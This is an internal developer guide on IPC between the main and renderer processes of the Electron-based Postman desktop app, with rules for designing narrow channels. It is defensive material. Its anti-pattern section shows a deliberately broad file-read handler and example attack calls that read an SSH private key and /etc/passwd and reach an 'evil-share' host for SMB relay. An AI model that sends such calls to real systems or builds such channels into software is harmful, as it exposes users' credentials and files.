IPC communication
postman-app runs as an Electron app, which means it has two separate processes running simultaneously: the main process (Node.js) and the renderer process (the web app you see). These two processes are isolated from each other by design — they cannot share memory, call each other's functions directly, or access each other's variables.
They can only communicate via IPC — Inter-Process Communication.
Why the isolation exists
This is a deliberate security design from Electron. The renderer process is essentially a browser. It runs JavaScript, renders HTML, and can execute user-provided scripts (like Postman test scripts). If the renderer could directly call Node.js APIs, a malicious script could read your files, access the network freely, or do other harmful things.
The main process is trusted. The renderer is not (by default). IPC is the controlled bridge between them.
The simple mental model
Think of it as a telephone system between two offices, with a narrow, pre-defined menu of operations the renderer is allowed to ask for:
┌──────────────────────────────────────────────┐
│ RENDERER (the web app) │
│ "I need the installed app version" │
│ │
│ pm.sdk.IPC.invoke('app:get-version') │
└────────────────────┬─────────────────────────┘
│ IPC message
▼
┌──────────────────────────────────────────────┐
│ MAIN PROCESS (Node.js) │
│ "OK, here's the version string" │
│ │
│ pm.sdk.IPC.handle('app:get-version', ...) │
└──────────────────────────────────────────────┘
The renderer sends a message on a specific, named channel with typed arguments. The main process has previously registered a handler for that exact channel, does the work (which can use Node.js APIs), and sends back a response. There is no general-purpose "ask the main process to do X" — every supported operation is its own channel.
How the renderer talks to main: pm.sdk.IPC
Feature code in the renderer never touches Electron's ipcRenderer directly. The Desktop Platform team maintains a small SDK that exposes the supported IPC surface as pm.sdk.IPC:
// Request/response — wait for a result
const version = await pm.sdk.IPC.invoke('app:get-version');
// Fire-and-forget — no return value
pm.sdk.IPC.send('telemetry:track', { event: 'request_sent' });
// Subscribe to main → renderer events
const unsubscribe = pm.sdk.IPC.subscribe('tunnel:reprovision-required', (payload) => {
// ... handle event ...
});
That's the entire surface app developers need. The lower-level Electron details (how the message gets across the process boundary, how arguments are serialized, how the handler is registered, how the bridge is wired up at startup) are owned by the Platform team and intentionally not exposed — app code touching them is a code-review red flag.
If you find yourself needing an operation that isn't already callable via pm.sdk.IPC or a platform-libs wrapper, that is a request to the Desktop Platform team, not something to add directly from feature code. See Adding a new IPC channel below.
What goes through IPC
Most feature code never needs to touch IPC at all. IPC is only needed for things the renderer process cannot do on its own:
| What | Why IPC |
|---|---|
| Reading/writing files | Renderer cannot access filesystem |
| Opening native file dialogs | OS-level UI, requires main process |
| App version and update info | Electron main process manages this |
| Window management | Open new windows, minimize, maximize |
| Deep links (custom URL protocol) | postman:// URLs are handled by main |
| Native menus | Menu bar is managed by main |
| Desktop notifications | OS-level notification APIs |
| Certificate management | SSL certs, app-level auth |
| Local server (Postman Agent) | Runs as a separate Node.js process |
If your feature is purely UI — showing data, handling user input, making HTTP API calls — you do not need IPC. The renderer can make HTTP requests directly via gateway-service. IPC is for reaching outside the browser sandbox.
IPC in the codebase
IPC channels are defined in src/main/ and corresponding client-side wrappers live in platform packages. You will see references to IPC throughout the codebase, but platform packages abstract the low-level details. The example below uses illustrative names — the actual wrapper, channel name, and package vary by feature; check pm.sdk.IPC consumers in src/renderer/ and src/main/ for real instances (e.g. pm.sdk.IPC.invoke(IPC_START_TUNNEL_FORWARDING, …) in WebhooksService, pm.sdk.IPC.handle('getLoggedInUsers', …) in AuthHandler).
// What your feature code calls (the wrapper from a platform-libs package):
const folder = await openDirectoryDialog();
// Under the hood, that wrapper issues a narrow, purpose-specific IPC call:
// pm.sdk.IPC.invoke('dialog:open-directory')
// Which is handled in src/main/ by code registered by the Platform team:
pm.sdk.IPC.handle('dialog:open-directory', async () => {
const { canceled, filePaths } = await dialog.showOpenDialog({
properties: ['openDirectory'],
});
return canceled ? null : filePaths[0];
});
Notice what the channel does not accept: the renderer cannot pass a properties array, file filters, default paths, or any other arbitrary showOpenDialog options. The handler chose one specific dialog mode and locked it in. If the renderer also needs a file picker, that's a separate channel (dialog:open-file) with its own narrow contract — not an extra argument to a generic dialog:open.
As a feature developer, look for existing platform-lib packages before implementing your own IPC communication. The Desktop Platform team owns the IPC channels and controls what is exposed to the renderer.
Designing narrow IPC channels
This is the single most important rule for anything IPC-shaped in postman-app:
An IPC channel should do one specific thing, and accept the smallest possible set of arguments to do it. The renderer must never be able to pass a value that lets the handler "do something else".
The renderer is untrusted. It runs user-provided test scripts, third-party MCP server output, content loaded from cloud workspaces, and other inputs the app does not control. Any IPC channel exposed to the renderer is reachable by all of that code. A broad channel = a broad attack surface.
A broad channel is dangerous
// Don't do this. Don't ever do this.
pm.sdk.IPC.handle('read-file', (_, path: string) => {
return fs.promises.readFile(path, 'utf8');
});
Any code running in the renderer — including a malicious test script that the user pasted from the internet — can now do:
await pm.sdk.IPC.invoke('read-file', '/Users/<you>/.ssh/id_rsa');
await pm.sdk.IPC.invoke('read-file', '/etc/passwd');
await pm.sdk.IPC.invoke('read-file', '\\\\evil-share\\trigger-smb-relay');
The handler does exactly what it was told to do. The bug is the design — read-file is a primitive, not a feature. Once read-file exists, every renderer-side caller becomes a potential exfiltration path, and no amount of input validation on the path closes the gap.
The same pitfall shows up in subtler forms:
exec(command)— full shellfetch(url, options)— proxies SSRF straight through the trust boundarydialog:open(options)—options.defaultPathlets the renderer steer the user toward a sensitive directoryspawn(binary, args)— arbitrary code execution
A narrow channel is safe
Reframe each channel around a specific feature the user is allowed to perform, with arguments that name what — never how or where:
// Renderer only ever asks for certs the app already owns.
pm.sdk.IPC.handle('client-certificate:read', async (_, certId: string) => {
const cert = await certStore.get(certId); // certStore validates ownership
return cert?.contents ?? null;
});
// One specific dialog, no caller-controlled options.
pm.sdk.IPC.handle('dialog:open-directory', () =>
dialog.showOpenDialog({ properties: ['openDirectory'] })
);
// Reads a known, app-managed file. No paths from the renderer.
pm.sdk.IPC.handle('app:read-log-file', () =>
fs.promises.readFile(getAppLogPath(), 'utf8')
);
Design checklist
Before opening a request for a new IPC channel, sanity-check the design against this list:
- One channel = one operation. If you find yourself reaching for a
typeoractiondiscriminator argument, split it into N channels. - Name it
feature:verb-noun, notread-fileordo-thing.client-certificate:read,dialog:open-directory,tunnel:start,app:get-version. - No raw filesystem paths from the renderer. Pass an ID, a workspace-relative key, or an opaque token. Resolve the actual path on the main side.
- No URLs, shell commands, or binary names from the renderer. Same reason.
- Validate every argument in the handler — types, ranges, ownership.
- Return the minimum necessary data. Don't return a whole
Userobject when the renderer only needs a display name. - If the renderer needs five variations of an operation, that's five channels, not one channel with a config object.
If your design relies on the renderer passing arbitrary paths, URLs, options, or commands, redesign before opening the request. That's the most common reason the Platform team will push back.
Adding a new IPC channel
The renderer-side ergonomics are stable: pm.sdk.IPC.invoke('channel:name', payload). The main-side handler and the SDK wiring are owned by the Desktop Platform team. So the workflow is:
- Design the channel against the checklist above. Write down the exact channel name, the typed argument shape, and the typed return shape.
- Open a request to the Desktop Platform team describing the feature you need and the proposed channel contract. Link the calling feature code if it already exists.
- The Platform team implements the handler in
src/main/, registers it onpm.sdk.IPC, and (where it makes sense) ships an ergonomic wrapper in aplatform-libs/package. - Call it from feature code via the wrapper, or via
pm.sdk.IPC.invoke('feature:specific-action', payload)if no wrapper exists yet.
Never reach for Electron's ipcRenderer directly from feature code, never add channels to the SDK from outside the Platform team, and never broaden an existing channel's argument shape to fit a new caller — open a new narrow channel instead. These rules are what keep the IPC surface auditable and prevent silent security regressions.
References
src/main/— all main process code including IPC handlersplatform-libs/ipc-abort/— utility for aborting long-running IPC operations- AGENTS.md
/ipc-communicationskill — the authoritative guide for IPC changes